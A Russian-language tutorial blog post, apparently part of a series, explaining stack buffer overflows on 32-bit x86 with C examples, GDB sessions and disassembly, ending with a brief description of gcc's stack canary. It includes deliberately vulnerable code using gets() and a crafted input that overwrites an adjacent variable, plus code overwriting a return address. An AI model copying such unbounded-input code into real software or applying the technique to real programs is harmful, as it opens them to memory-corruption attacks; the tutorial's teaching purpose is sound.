Стек вызовов - часть 2 - уязвимость переполнения буфера

По большому счёту, большая часть уязвимостей стека связана не с самим стеком с точки зрения абстрактного типа данных, а с нарушением правил этого абстрактного типа данных. Дело в том, что стек вызовов должен быть реализован максимально близко к аппаратному уровню для максимальной производительности, так как все программы, написанные на языках высокого уровня так или иначе используют функции (повторяющиеся блоки кода) - а значит - используют стек. При таком приближении к аппаратному уровню, конечно, описание АТД отсутствует как таковое и полагается, что код, работающий со стеком, будет учитывать его структуру и не приведёт к его нарушению.

Переполнение буфера

В процессе программирования, на стеке очень часто выделяют память под временные массивы. Зачастую в эти массивы считывают данные, полученные от пользователя. Суть этой уязвимости заключается в том, что если неправильно запрограммировать заполнение буфера информацией от пользователя и не предусмотреть ограничение размера буфера, произойдёт переполнение. Так как стек растёт от больших адресов к меньшим а массив очевидно растёт от меньших адресов к большим, переполнение может привести к затиранию сохранённого регистра ebp и, самое главное, адреса возврата. Таким образом можно перехватить управление программой.

Пример

#include <stdio.h>
#include <stdlib.h>

void __attribute__((noinline)) fun(int a, int b, int c) {
	
	char buffer[16] = {0};
	
	int* prevEbp = &a - 2;
	int* ret = &a - 1;
	
	printf("Buffer start: %p Buffer start pointer address: %p\n", buffer, &buffer);
	printf("Previous EBP: %p Value: %d Value as hex: %x\n", prevEbp, *prevEbp, *prevEbp);
	printf("Return address: %p Value: %x\n", ret, *ret);
	printf("Buffer end: %p\n", buffer + 16);
	
	fflush(stdout);
	
}

int main() {
	printf("Ptr size: %d bytes\n", sizeof(void*));
	fun(1, 2, 3)
	return 0;
}

Вычислить положение адреса возврата можно как по адресам аргументов, так и по положению буфера. В данном случае мы берём первый аргумент, который на стек добавляется последним и, пользуясь тем, что размер адреса возврата и предыдущего базового регистра также составляет 4 байта, вычитаем из указателя 1 (4 байта) для получения указателя на адрес возврата и вычитаем из указателя 2 (8 байт) для получения указателя на предыдущее значение регистра ebp.

Скомпилируем данную программу, отключив предварительно защиту компилятора от переполнения на стеке (подробнее об этом позже):

$ gcc main.c -o viewret -fno-stack-protector

Выполнив программу мы увидим адреса и значения нужных нам значений:

Ptr size: 4 bytes
Buffer start: 0061FEE8 Buffer start pointer address: 0061FEE8
Previous EBP: 0061FF08 Value: 6422312 Value as hex: 61ff28
Return address: 0061FF0C Value: 401508
Buffer end: 0061FEF8

Программа завершилась корректно, поскольку мы не изменили ничего по этим адресам. Перезапишем адрес возврата:

void __attribute__((noinline)) fun(int a, int b, int c) {
	
	char buffer[16] = {0};
	
	int* prevEbp = &a - 2;
	int* ret = &a - 1;
	
	printf("Buffer start: %p Buffer start pointer address: %p\n", buffer, &buffer);
	printf("Previous EBP: %p Value: %d Value as hex: %x\n", prevEbp, *prevEbp, *prevEbp);
	printf("Return address: %p Value: %x\n", ret, *ret);
	printf("Buffer end: %p\n", buffer + 16);
	
	fflush(stdout);
	
	*ret = 0xcafeefac;
	
}

При запуске мы увидим ошибку сегментации, поскольку при возврате из функции программа перейдёт по неправильному адресу.

Посмотрим подробнее на то, как это работает с помощью GDB:

$ gdb viewret.exe

Установим точку останова на функцию fun, которая нас интересует.

(gdb) $ br fun

Выполним программу.

[New Thread 3388.0x3368]
[New Thread 3388.0x1a2c]
Ptr size: 4 bytes

Breakpoint 1, 0x00401416 in fun ()

Посмотрим значения сохранённых регистров текущего стекового кадра.

(gdb) $ info frame
Stack level 0, frame at 0x61ff10:
 eip = 0x401416 in fun; saved eip 0x401508
 called by frame at 0x61ff30
 Arglist at 0x61ff08, args:
 Locals at 0x61ff08, Previous frame's sp is 0x61ff10
 Saved registers:
  ebp at 0x61ff08, eip at 0x61ff0c

Мы видим, что ebp предыдущего стекового кадра находится по адресу 0x61ff08, а адрес возврата - по адресу 0x61ff0c. Теоретические сведения о структуре стека подтверждаются.

(gdb) $ c
Continuing.
Buffer start: 0061FEE8 Buffer start pointer address: 0061FEE8
Previous EBP: 0061FF08 Value: 6422312 Value as hex: 61ff28
Return address: 0061FF0C Value: 401508
Buffer end: 0061FEF8

Program received signal SIGSEGV, Segmentation fault.
0xcafeefac in ?? ()

При продолжении выполнения программы мы видим, что адреса в отладчике совпадают с адресами, вычисленными программой. При завершении работы функции, как и предполагалось, программа пытается перейти по запрещённому адресу 0xcafeefac и завершается с ошибкой сегментации.

Подмена переменных

Рассмотрим следующую программу, которая считывает данные из стандартного потока ввода в буфер на стеке.

#include <stdio.h>
#include <stdlib.h>

int main() {
	
	volatile int zero;
	
	char buffer[64];
	
	zero = 0;
	
	gets(buffer);
	
	if (zero) {
		printf("You changed the zero variable to %d (hex: %x)!", zero, zero);
	}
	else {
		puts("Variable not changed.");
	}
	
	return 0;
}

Переменная zero отмечена как volatile, чтобы компилятор не оптимизировал её использование, например, закешировав значение в одном из регистров общего назначения.

Начнём отладку этой программы:

0x00401410 <+0>:     push   ebp ; предыдущий регистр ebp
0x00401411 <+1>:     mov    ebp,esp ; инициализируем ebp нового стекового кадра
0x00401413 <+3>:     and    esp,0xfffffff0 ; выравнивание памяти
0x00401416 <+6>:     sub    esp,0x60 ; выделение памяти на стеке
0x00401419 <+9>:     call   0x401980 <__main>
0x0040141e <+14>:    mov    DWORD PTR [esp+0x5c],0x0 ; присваивание нуля
; см. ниже, фактически следующая строка делает eax = esp + 0x1c
0x00401426 <+22>:    lea    eax,[esp+0x1c]
; адрес, полученный предыдущей инструкцией помещается на стек
0x0040142a <+26>:    mov    DWORD PTR [esp],eax
0x0040142d <+29>:    call   0x403ae8 <gets> ; вызов gets()
; загружаем значение из памяти для сравнения
0x00401432 <+34>:    mov    eax,DWORD PTR [esp+0x5c]
0x00401436 <+38>:    test   eax,eax ; проверяем на равенство нулю
0x00401438 <+40>:    je     0x401458 <main+72> 
0x0040143a <+42>:    mov    edx,DWORD PTR [esp+0x5c]
; дальше идут команды, необходимые для корректной работы printf
0x0040143e <+46>:    mov    eax,DWORD PTR [esp+0x5c]
0x00401442 <+50>:    mov    DWORD PTR [esp+0x8],edx
0x00401446 <+54>:    mov    DWORD PTR [esp+0x4],eax
0x0040144a <+58>:    mov    DWORD PTR [esp],0x405044
0x00401451 <+65>:    call   0x403ac8 <printf> ; вывод сообщения об успехе
0x00401456 <+70>:    jmp    0x401464 <main+84> ; перепрыгивание через ветвление
0x00401458 <+72>:    mov    DWORD PTR [esp],0x405073
0x0040145f <+79>:    call   0x403ac0 <puts> ; вывод сообщения о неудаче
; выход из программы с кодом 0
0x00401464 <+84>:    mov    eax,0x0
0x00401469 <+89>:    leave
0x0040146a <+90>:    ret
0x0040146b <+91>:    nop
0x0040146c <+92>:    xchg   ax,ax
0x0040146e <+94>:    xchg   ax,ax

Обратите внимание на строки с адресами 0x00401426 <+22> и 0x0040142a <+26>. Инструкция lea, в отличие от обычного mov не обращается по отступу адреса, а берёт его как есть и присваивает первому операнду.

Для подробного анализа поставим 2 точки останова - перед и после вызова gets.

(gdb) $ br *0x0040142d
(gdb) $ br *0x00401432

Зададим gdb-команды, которые необходимо выполнить по достижению этих точек.

(gdb) $ define hook-stop
>info registers
>x/24wx $esp
>x/2i $eip
>end

Таким образом мы увидим состояние регистров, 24 элемента размера машинного слова на стеке и следующие 2 инструкции после точки останова:

eax            0x61fedc 6422236
ecx            0x4018f0 4200688
edx            0x50000018       1342177304
ebx            0x2d2000 2957312
esp            0x61fec0 0x61fec0
ebp            0x61ff28 0x61ff28
esi            0x4012d0 4199120
edi            0x4012d0 4199120
eip            0x40142d 0x40142d <main+29>
eflags         0x202    [ IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x53     83
gs             0x2b     43
0x61fec0:       0x0061fedc      0x00000008      0x772c8023      0x772c801a
0x61fed0:       0xb3b6879d      0x004012d0      0x004012d0      0x00000000
0x61fee0:       0x004018f0      0x0061fed0      0x0061ff08      0x0061ffcc
0x61fef0:       0x772cdd70      0xc4e6dd59      0xfffffffe      0x772c801a
0x61ff00:       0x772c810d      0x004018f0      0x0061ff50      0x0040195b
0x61ff10:       0x004018f0      0x00000000      0x002d2000      0x00000000
=> 0x40142d <main+29>:  call   0x403ae8 <gets>
   0x401432 <main+34>:  mov    eax,DWORD PTR [esp+0x5c]

Breakpoint 1, 0x0040142d in main ()

Введём, к примеру, строку из нулей:

(gdb) $ c
Continuing.
0000000000000000000000000000000000000000000
eax            0x61fedc 6422236
ecx            0x772eb098       1999548568
edx            0xa      10
ebx            0x2d2000 2957312
esp            0x61fec0 0x61fec0
ebp            0x61ff28 0x61ff28
esi            0x4012d0 4199120
edi            0x4012d0 4199120
eip            0x401432 0x401432 <main+34>
eflags         0x216    [ PF AF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x53     83
gs             0x2b     43
0x61fec0:       0x0061fedc      0x00000008      0x772c8023      0x772c801a
0x61fed0:       0xb3b6879d      0x004012d0      0x004012d0      0x30303030
0x61fee0:       0x30303030      0x30303030      0x30303030      0x30303030
0x61fef0:       0x30303030      0x30303030      0x30303030      0x30303030
0x61ff00:       0x30303030      0x00303030      0x0061ff50      0x0040195b
0x61ff10:       0x004018f0      0x00000000      0x002d2000      0x00000000
=> 0x401432 <main+34>:  mov    eax,DWORD PTR [esp+0x5c]
   0x401436 <main+38>:  test   eax,eax

Breakpoint 2, 0x00401432 in main ()

Мы видим, что 43 введённых нуля не хватило для того, чтобы добраться до нуля, который нас интересует. Для того, чтобы до него добраться, нужно 64 байта (исходя из размера буфера). Для наглядности будем использовать следующую строку:

000011111111111111112222222222222222333333333333333344444444444456

Эта строка содержит в себе 66 символов, цифры подобраны для наглядности при отладке. Последние 2 символа должны перезаписать 2 младших байта (так как LE кодировка).

(gdb) $ c
Continuing.
000011111111111111112222222222222222333333333333333344444444444456
eax            0x61fedc 6422236
ecx            0x772eb098       1999548568
edx            0xa      10
ebx            0x3f9000 4165632
esp            0x61fec0 0x61fec0
ebp            0x61ff28 0x61ff28
esi            0x4012d0 4199120
edi            0x4012d0 4199120
eip            0x401432 0x401432 <main+34>
eflags         0x216    [ PF AF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x53     83
gs             0x2b     43
0x61fec0:       0x0061fedc      0x00000008      0x772c8023      0x772c801a
0x61fed0:       0xe53b01b1      0x004012d0      0x004012d0      0x30303030
0x61fee0:       0x31313131      0x31313131      0x31313131      0x31313131
0x61fef0:       0x32323232      0x32323232      0x32323232      0x32323232
0x61ff00:       0x33333333      0x33333333      0x33333333      0x33333333
0x61ff10:       0x34343434      0x34343434      0x34343434      0x00003635
=> 0x401432 <main+34>:  mov    eax,DWORD PTR [esp+0x5c]
   0x401436 <main+38>:  test   eax,eax

Breakpoint 2, 0x00401432 in main ()

Продолжив выполнение мы увидим, что переменная теперь содержит значение 0x3635 или 13877.

(gdb) $ c
Continuing.
You changed the zero variable to 13877 (hex: 3635)![Inferior 1 (process 4848) exited normally]
Error while running hook_stop:
The program has no registers now.

Таким образом, для того, чтобы изменить значение переменной zero в данной программе, необходимо поменять представить число в Little Endian форме и добавить эти байты в 65 и 66 разряды буфера.

Защита от переполнения буфера

Обычно в компиляторах предусмотрены различные механизмы для предотвращения подобных эксплоитов. В gcc, например, после буфера на стек добавляется сгенерированное случайно значение, которое перед возвратом из функции проверяется. Если значение изменилось, происходит принудительное завершение программы с ошибкой Stack smashing detected, которая и означает то, что что-то попыталось разрушить стек.


Copyright © 2019 Александр Майоров. Все права защищены.